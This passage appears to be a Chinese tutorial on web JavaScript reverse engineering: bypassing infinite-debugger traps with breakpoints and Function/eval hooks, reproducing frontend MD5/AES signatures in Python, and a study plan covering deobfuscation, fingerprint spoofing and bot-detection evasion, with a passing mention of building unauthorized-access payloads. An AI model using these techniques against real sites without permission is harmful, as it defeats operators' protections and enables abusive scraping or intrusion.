3. 完整解决方案

方案 1:条件断点绕过(最简单,零代码)
  1. 找到 debugger 语句所在的代码行;
  2. 右键行号,选择「Add conditional breakpoint」;
  3. 在输入框中输入false,按回车;
  4. 刷新页面,debugger 永远不会触发,可正常调试。
方案 2:Hook 拦截动态 debugger(通用方案)
javascript 复制代码
// 在DevTools的Console面板中执行,刷新页面后仍生效需用Overrides功能
// 拦截Function构造器生成的debugger代码
const originalFunction = Function;
Function = function(...args) {
    // 如果代码中包含debugger,返回空函数
    if (args.join('').includes('debugger')) {
        return () => {};
    }
    // 正常代码执行原逻辑
    return originalFunction.apply(this, args);
};

// 拦截eval执行的debugger
const originalEval = window.eval;
window.eval = function(...args) {
    if (args[0].includes('debugger')) {
        return;
    }
    return originalEval.apply(this, args);
};
方案 3:黑盒脚本绕过(针对框架 / 第三方库的 debugger)
  1. 在 Sources 面板的 Call Stack 中,找到 debugger 所在的 JS 文件;
  2. 右键该 JS 文件,选择「Blackbox Script」(黑盒脚本);
  3. 刷新页面,调试时会跳过该文件的所有代码,debugger 不会触发。
方案 4:禁用所有断点(应急方案)
  1. 打开 DevTools→Sources 面板;
  2. 点击顶部的「Deactivate breakpoints」按钮(图标是一个带斜杠的断点),或按Ctrl + F8
  3. 所有断点(包括无限 debugger)都会被禁用,可正常查看代码。

4. 实战避坑技巧

  • 无限 debugger 的核心是「让 debugger 语句不执行 / 不暂停」,优先用条件断点false,90% 的场景都能解决;
  • 若 debugger 是通过debugger;硬编码的,无法用 Hook 拦截,直接用条件断点即可;
  • 若页面刷新后 Hook 代码失效,用 DevTools 的「Overrides」功能,把 Hook 代码注入到页面加载的第一个 JS 文件中,确保刷新后仍生效。

5. 通用解决思路

无限 debugger 的解决优先级:

  1. 条件断点false(最快,零代码);
  2. 黑盒脚本(针对第三方库的 debugger);
  3. Hook 拦截动态生成的 debugger;
  4. 禁用所有断点(应急方案)。

异常 3:Python 复现的 sign 和前端不一致

1. 问题成因分析

序号 核心成因 占比
1 签名拼接规则还原错误 60% 拼接顺序、遗漏盐值、大小写错误、空格 / 换行符差异
2 编码格式不一致 20% 前端用 UTF-16 编码,Python 用 UTF-8;Base64 编码的换行 / 补全差异
3 时间戳 / 随机数不一致 10% 时间戳的位数(10 位 / 13 位)、随机数生成规则错误
4 加密算法模式 / 填充错误 8% AES 的 CBC/ECB 模式、PKCS5/PKCS7 填充、IV 值错误
5 前端隐藏的加密逻辑 2% 代码混淆后,有隐藏的字符串替换、二次加密逻辑未还原

2. 分步排查流程

  1. 第一步:固定所有变量,排除随机因素

    • 在前端代码中,把时间戳、随机数、盐值都固定为常量,生成 sign;
    • 在 Python 代码中,用完全相同的固定常量,生成 sign,对比是否一致。
  2. 第二步:逐段对比拼接字符串

    • 在前端代码中,打印加密前的原始拼接字符串console.log("原始字符串:", signStr)
    • 在 Python 代码中,打印完全相同位置的拼接字符串,对比每一个字符,查看是否有空格、换行、大小写、编码差异。
  3. 第三步:验证加密算法的参数

    • 确认加密算法的模式(AES-CBC/AES-ECB)、填充方式(PKCS7/PKCS5)、IV 值、密钥编码是否和前端完全一致;
    • 用固定的明文,分别在前端和 Python 中加密,对比密文是否一致。
  4. 第四步:排查隐藏的加密逻辑

    • 在前端代码中,给加密函数的每一步都加打印,查看是否有二次加密、字符串替换、字符编码转换的逻辑;
    • 对比前端和 Python 的每一步中间结果,找到差异点。

3. 完整解决方案

方案 1:MD5 签名不一致的标准修复模板
python 复制代码
import hashlib

# 前端还原的固定参数
SALT = "my_secret_salt"
KEYWORD = "Python逆向"
TIMESTAMP = "1761800000000"

# 1. 严格和前端一致的拼接规则,顺序不能错
# 前端:signStr = SALT + KEYWORD + TIMESTAMP
sign_str = f"{SALT}{KEYWORD}{TIMESTAMP}"

# 2. 编码格式必须和前端一致,默认UTF-8,特殊情况用UTF-16LE
sign_bytes = sign_str.encode("utf-8")

# 3. MD5哈希,大小写必须和前端一致(前端通常是小写)
md5_result = hashlib.md5(sign_bytes).hexdigest().lower()

print(f"拼接字符串:{repr(sign_str)}")
print(f"生成的sign:{md5_result}")
# 和前端console.log的结果对比,必须完全一致
方案 2:AES 加密不一致的标准修复模板
python 复制代码
# 安装依赖:pip install pycryptodome
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64

# 前端还原的参数,必须完全一致
AES_KEY = b"1234567890abcdef"  # 16位密钥,和前端编码一致
AES_IV = b"0123456789abcdef"   # 16位IV向量,CBC模式必须
PLAINTEXT = '{"keyword":"Python逆向","page":1}'

# 1. 加密逻辑,和前端完全一致
# 前端:AES-128-CBC,PKCS7填充,Base64编码
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
# 填充:PKCS7和PKCS5在AES中完全一致
padded_data = pad(PLAINTEXT.encode("utf-8"), AES.block_size)
# 加密
encrypted_bytes = cipher.encrypt(padded_data)
# Base64编码,和前端一致
encrypted_str = base64.b64encode(encrypted_bytes).decode("utf-8")

print(f"加密结果:{encrypted_str}")
# 和前端加密结果对比,必须完全一致

4. 实战避坑技巧

  • 90% 的不一致问题,都是拼接规则还原错误,必须逐字符对比前端和 Python 的原始拼接字符串,包括空格、换行、符号;
  • 时间戳必须和前端完全一致,前端用new Date().getTime()是 13 位毫秒级,Python 的time.time()默认是 10 位秒级,必须乘以 1000 转成 13 位字符串;
  • 加密算法的密钥、IV 值,必须确认前端的编码格式,是 UTF-8 字符串还是 Hex 十六进制字符串,避免编码错误。

5. 通用解决思路

sign 不一致的核心是「前端和 Python 的加密输入、加密过程、输出格式不完全一致」,解决步骤:

  1. 固定所有变量,排除随机因素;
  2. 逐字符对比加密前的输入字符串,找到差异点;
  3. 逐步骤对比加密过程的中间结果,确认算法参数完全一致;
  4. 对比输出的格式(大小写、编码、补全),和前端完全对齐。

第六部分:Web JS 逆向完整学习与实战体系

完全贴合大纲 14 章内容,可作为 JS 逆向的完整学习手册,实战性极强。


1. 分阶段学习路径规划(对应每一章)

第一阶段:入门筑基期( 1-3 章)

章节 学习重点 需掌握的核心能力 实战目标
第一章 逆向基础 JS 逆向的核心原理、前端代码执行流程、逆向的核心目标 理解 "前端加密逻辑都能被还原" 的核心逻辑,明确逆向的目标是还原加密参数生成规则 能看懂简单的前端加密代码,明确逆向的完整流程
第二章 浏览器控制台 Network 面板抓包、Sources 面板断点调试、Console 面板代码执行、Application 面板数据查看 熟练使用 DevTools 三大核心面板,能独立抓包、设置断点、调试 JS 代码、查看 Cookie/LocalStorage 能独立抓包找到目标接口,给 JS 代码设置断点,单步调试查看变量值
第三章 加密参数定位方法 XHR 断点定位、关键词搜索定位、Hook 注入定位加密函数 掌握 3 种核心的加密函数定位方法,能快速找到接口参数的加密代码位置 给任意网站的接口,10 分钟内定位到加密参数的生成函数

第二阶段:基础攻坚期( 4-6 章)

章节 学习重点 需掌握的核心能力 实战目标
第四章 常见的压缩和混淆 代码压缩原理、javascript-obfuscator 混淆的特征、混淆代码的基础阅读方法 能识别混淆代码的类型,看懂简单混淆后的加密逻辑,不被乱码变量名干扰 能阅读 javascript-obfuscator 混淆后的代码,找到核心加密逻辑
第五章 常见的编码和加密 Base64 编码、MD5 哈希、AES 对称加密、RSA 非对称加密的原理和前端实现 能识别 4 种核心加密算法的特征,看懂前端加密代码的算法类型、密钥、模式、填充方式 看到前端加密代码,能快速识别算法类型,提取密钥、IV 等核心参数
第六章 加密参数还原与模拟 Newrank 榜单、MD5/RSA/AES 加密逆向案例 能完整还原加密逻辑,用 Python 复现加密算法,构造合法的接口请求 独立完成 Newrank 榜单的 sign 参数逆向,用 Python 实现自动化爬取

第三阶段:进阶突破期( 7-9 章)

章节 学习重点 需掌握的核心能力 实战目标
第七章 浏览器环境补充 常被检测的浏览器环境、手动环境补全、JSDOM 环境补全、Selenium/Puppeteer 环境模拟 能识别前端代码的环境依赖,手动补全浏览器环境,让前端加密代码在 Node.js 中正常运行 把任意网站的前端加密代码,复制到 Node.js 中正常运行,生成加密参数
第八章 加密方法远程调用(RPC) RPC 的原理、油猴脚本实现 RPC、浏览器插件 RPC、Puppeteer 远程调用 掌握 RPC 远程调用方法,无需还原加密逻辑,直接调用浏览器中的加密函数 针对复杂加密网站,用 RPC 实现加密参数的自动生成,完成爬虫开发
第九章 AST 技术 AST 的核心原理、babel 全家桶(parser/generator/traverse/types)的使用 能把 JS 代码解析成 AST,遍历、修改、还原 AST 节点,生成可读代码 能用 AST 技术还原简单的混淆代码,批量修改 JS 代码

第四阶段:高阶精通期( 10-14 章)

章节 学习重点 需掌握的核心能力 实战目标
第十章 常见协议分析 HTTP/HTTPS 协议结构、WebSocket 协议、接口请求规则、反爬头字段校验 能深度分析接口协议,绕过 Referer、User-Agent、Cookie 等反爬校验 能分析复杂网站的接口协议,构造完全模拟浏览器的请求
第十一章 常见反调试 无限 debugger 原理与绕过、DevTools 检测、断点检测、内存爆破反调试 掌握所有常见反调试的绕过方法,能正常调试有反爬的网站 JS 代码 能绕过任意网站的无限 debugger 和 DevTools 检测,正常调试代码
第十二章 调试工具补充 事件断点、全局搜索、黑盒脚本、性能面板、内存面板的进阶用法 熟练使用 DevTools 的进阶调试工具,大幅提升逆向效率 能用进阶调试技巧,快速定位复杂混淆代码中的加密逻辑
第十三章 AST 反混淆 用 AST 还原混淆代码、字符串解密、控制流还原、变量名重命名、死代码删除 能用 AST 技术完整还原 javascript-obfuscator 混淆的代码,生成可读的 JS 代码 针对任意 javascript-obfuscator 混淆的代码,用 AST 实现全自动反混淆
第十四章 逆向爬取实战 综合实战案例,覆盖加密、混淆、反调试、环境检测全场景 能独立完成复杂网站的全流程逆向,开发稳定的自动化爬虫 独立完成 2 个以上复杂网站的逆向爬取,实现 7*24 小时稳定运行

2. 核心技术栈速查表(实战手册)

模块 1:浏览器调试核心命令

操作 快捷键 / 命令 核心作用
打开 DevTools F12 / Ctrl+Shift+I 打开开发者工具
全局搜索 Ctrl+Shift+F 全网站 JS 代码搜索关键词
XHR 断点 Sources→XHR/fetch Breakpoints 接口请求时断点,定位加密函数
条件断点 右键行号→Add conditional breakpoint 条件满足时才暂停,绕过无限 debugger
单步跳过 F10 逐行执行,不进入函数内部
单步进入 F11 逐行执行,进入函数内部
继续执行 F8 执行到下一个断点
黑盒脚本 右键 JS 文件→Blackbox Script 调试时跳过该文件,不进入框架代码

模块 2:Hook 核心代码模板

Hook 目标 代码模板 核心作用
window.btoa 见前文第二部分内容 拦截 Base64 编码,找到调用位置
XMLHttpRequest.send 见前文渗透测试部分 拦截接口请求,查看加密参数
Function 构造器 见前文无限 debugger 绕过 拦截动态生成的 debugger 代码
CryptoJS.MD5 const originalMD5 = CryptoJS.MD5; CryptoJS.MD5 = function(...args){console.log("MD5输入:", args[0]); const res = originalMD5.apply(this, args); console.log("MD5输出:", res.toString()); return res;} 拦截 MD5 加密,查看输入输出

模块 3:AST 核心 API 速查

核心 API 作用
@babel/parser parser.parse(code) 把 JS 代码解析成 AST 树
@babel/traverse traverse(ast, {节点类型: 处理函数}) 遍历 AST 树,访问 / 修改节点
@babel/generator generator(ast) 把 AST 树转回 JS 代码
@babel/types t.stringLiteral("xxx") 创建 / 校验 AST 节点类型

模块 4:加密算法 Python 复现模板

算法 核心代码 对应章节
MD5 hashlib.md5(str.encode("utf-8")).hexdigest().lower() 第六章
AES-CBC 见前文异常 3 解决方案 第六章
RSA 加密 from Crypto.PublicKey import RSA; from Crypto.Cipher import PKCS1_v1_5; key = RSA.importKey(public_key); cipher = PKCS1_v1_5.new(key); encrypted = cipher.encrypt(data.encode("utf-8")) 第六章
Base64 base64.b64encode(data.encode("utf-8")).decode("utf-8") 第五章

3. 全流程逆向标准作业流程(SOP)

从拿到目标网站到完成爬取 / 渗透,标准化 10 步流程,对应全章节内容,新手可直接照做:

  1. 需求明确与抓包分析(第二章)

    • 明确目标:需要爬取的数据 / 渗透的接口;
    • 打开 DevTools→Network 面板,触发目标操作,抓包找到核心接口;
    • 查看接口的请求参数,找到加密的参数(sign、token、data 等),明确逆向目标。
  2. 加密函数定位(第三章)

    • 优先用 XHR 断点,给接口 URL 设置断点,触发请求后回溯调用栈;
    • 其次用全局搜索,搜索加密参数名、加密关键词(encrypt/sign/md5/aes);
    • 最后用 Hook 注入,拦截加密方法,找到调用位置。
  3. 加密逻辑调试与还原(第五章)

    • 给加密函数设置断点,单步调试,查看每一步的输入、输出、中间变量;
    • 识别加密算法类型,提取密钥、IV、盐值、拼接规则、填充模式等核心参数;
    • 在 Console 面板中,手动调用加密函数,传入固定参数,验证加密逻辑。
  4. 混淆代码处理(第四章、第十三章)

    • 若代码被混淆,先格式化代码,看懂核心逻辑;
    • 简单混淆手动还原,复杂混淆用 AST 技术做反混淆,生成可读代码。
  5. 反调试绕过(第十一章)

    • 若遇到无限 debugger、DevTools 检测,用条件断点、Hook、黑盒脚本绕过;
    • 确保能正常调试代码,无卡顿、无断点干扰。
  6. 加密逻辑复现(第六章)

    • 用 Python/Node.js 复现加密逻辑,传入和前端完全相同的固定参数;
    • 对比生成的加密结果,必须和前端完全一致,确保逻辑还原正确。
  7. 环境问题处理(第七章)

    • 若加密代码在 Node.js 中执行报错,手动补全环境,或用 JSDOM 补全完整浏览器环境;
    • 复杂环境直接用 RPC 远程调用,无需补全环境。
  8. 接口请求构造(第十章)

    • 用 Python 的 requests 库,构造和浏览器完全一致的请求头、请求体、Cookie;
    • 用复现的加密逻辑生成参数,发起请求,验证是否能拿到正确的数据。
  9. 爬虫 / 渗透利用开发(第八章、渗透测试部分)

    • 开发完整的自动化爬虫,实现数据的批量爬取;
    • 或基于逆向的逻辑,构造渗透 Payload,实现越权、未授权访问等利用。
  10. 稳定性优化

    • 处理反爬机制:请求频率控制、IP 代理、Cookie 自动刷新;
    • 异常处理:网络超时、接口报错、签名失效的处理;
    • 实现 7*24 小时稳定运行。

4. 高频实战案例核心步骤与代码模板

案例 核心步骤 核心代码模板
Newrank 榜单 MD5 逆向 1. 抓包找到 sign 参数;2. XHR 断点定位 generateSign 函数;3. 还原 MD5 拼接规则;4. Python 复现签名逻辑;5. 开发爬虫 见前文第三部分渗透测试案例
微博登录 RPC 调用 1. 抓包找到登录加密参数;2. 定位加密函数;3. 油猴脚本开发 RPC 服务;4. Python 调用 RPC 接口获取加密参数;5. 实现自动登录 见前文第八章 RPC 部分代码
javascript-obfuscator AST 反混淆 1. 解析混淆代码成 AST;2. 遍历 AST 解密字符串数组;3. 还原控制流扁平化;4. 重命名乱码变量;5. 删除死代码;6. 生成可读代码 见前文第十三章 AST 部分代码
AES 数据加密逆向 1. 定位 AES 加密函数;2. 提取密钥、IV、模式、填充方式;3. 固定参数验证加密结果;4. Python 复现 AES 加密逻辑;5. 构造加密请求 见前文异常 3 解决方案
WASM 加密逆向 1. 定位 WASM 文件加载代码;2. 找到 WASM 导出的加密函数;3. 浏览器中调用函数验证逻辑;4. 用 Wasmtime 在 Python 中调用 WASM 函数;5. 实现加密参数生成 见前文第十一章 WASM 部分代码

5. 进阶提升方向(前端反爬最新趋势)

1. 最新前端反爬技术趋势

  • 企业级 JS 混淆:JScrambler 商业级混淆,加入虚拟机保护、代码虚拟化、控制流扁平化,逆向难度大幅提升;
  • 无感人机验证:基于浏览器环境指纹、鼠标 / 键盘行为、设备信息的无感验证,替代传统验证码;
  • WASM 加密:把核心加密逻辑用 C/Rust 编写,编译成 WASM,前端 JS 仅做调用,大幅提升逆向难度;
  • 动态 JS 代码:每次页面刷新,JS 代码的混淆规则、加密密钥、接口路径都会动态变化,无法静态还原;
  • 前后端双向签名:接口请求和响应都做签名校验,防止篡改和重放攻击。

2. 对应进阶学习内容

  1. 虚拟机保护逆向:学习 JS 虚拟机混淆的原理,还原虚拟机指令和执行逻辑;
  2. WASM 逆向进阶:学习 WAT 文本格式、WASM 反编译、动态调试、C 代码还原;
  3. 行为模拟:学习用 Puppeteer/Playwright 模拟真人的鼠标移动、键盘输入、页面滚动,绕过人机验证;
  4. 浏览器指纹对抗:学习浏览器指纹的生成原理,修改 / 模拟指纹,绕过环境检测;
  5. 移动端 JS 逆向:学习 APP 内嵌 WebView 的 JS 逆向、抓包、调试方法,覆盖移动端场景。
相关推荐
委婉待续2 小时前
关于ubuntu开机进入recovering journal的解决方法
linux·运维·ubuntu
轻竹办公PPT2 小时前
2026年成考来临,毕业论文不会写?这些方法你知道几个?
人工智能·python
gameboy0312 小时前
【Python学习】网络爬虫-爬取豆瓣电影评论
爬虫·python·学习
gaoshan123456789102 小时前
springboot 使用zip4j下载压缩包,压缩包内的数据来自oss文件管理服务器
java·服务器·spring boot
一拳不是超人2 小时前
龙虾🦞(OpenClaw) 本地部署体验:是真变革还是旧酒装新瓶?
前端·人工智能·程序员
m0_612591972 小时前
江苏智算中心排名与格局分析:尚航科技无锡智算中心的标杆地位
运维·服务器·科技·php·idc
一晌小贪欢2 小时前
Python魔法:列表与字典推导式深度解析
开发语言·windows·python·列表推导式·python列表·python字典·字典推导式
着迷不白2 小时前
服务器硬件与数通网络技术学习笔记(完整版)
服务器·笔记·网络协议·学习·网工
buhuimaren_2 小时前
系统安全及运用
前端·chrome